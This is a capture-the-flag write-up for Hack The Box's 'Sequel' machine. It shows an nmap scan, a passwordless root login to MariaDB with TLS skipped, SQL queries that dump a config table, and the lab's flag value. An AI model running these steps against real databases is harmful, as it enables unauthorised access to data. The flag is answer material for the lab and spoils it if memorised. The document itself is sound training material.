

HTB “Sequel” MariaDB Write-Up

HTB “Sequel” MariaDB Write-Up

1. Introduction

Objective: Bypass TLS requirement and enumerate MariaDB on HTB’s “Sequel” machine to retrieve the flag.

Author: keyfive5

Date: 2025-04-20

2. Lab Environment

- Attacker VM: Kali Linux (via HTB VPN)
- Target IP: 10.129.28.113
- Tools: nmap, mysql-client, Bash

3. Enumeration

3.1 Nmap Scan

```
nmap -sC -sV -p 3306 10.129.28.113 -oN nmap-3306.txt
```

Revealed:

3306/tcp open mysql? MariaDB 10.3.27

3.2 MySQL Connection

```
mysql --ssl -h 10.129.28.113 -u root --skip-ssl
```

Welcome message confirms direct, passwordless access.

4. Exploitation

4.1 Enumerator Commands

```
SHOW DATABASES;  
USE htb;  
SHOW TABLES;  
SELECT * FROM config;
```

`config` table output:

id	name	value
5	flag	7b4bec00d1a39e3dd4e021ec3d915da8

5. Automation Script

See `scripts/enum-mysql.sh` for full reproducible enumeration.

6. Results

Flag: `7b4bec00d1a39e3dd4e021ec3d915da8`

7. Lessons Learned

- Direct DB access can bypass web■app filters.
- MariaDB clients may enforce TLS by default—know how to disable.
- Standard SQL enumeration quickly exposes sensitive data.

8. References

- [OWASP Top 10 – Injection](<https://owasp.org/www-project-top-ten/>)
- `man mysql`
- `nmap` official docs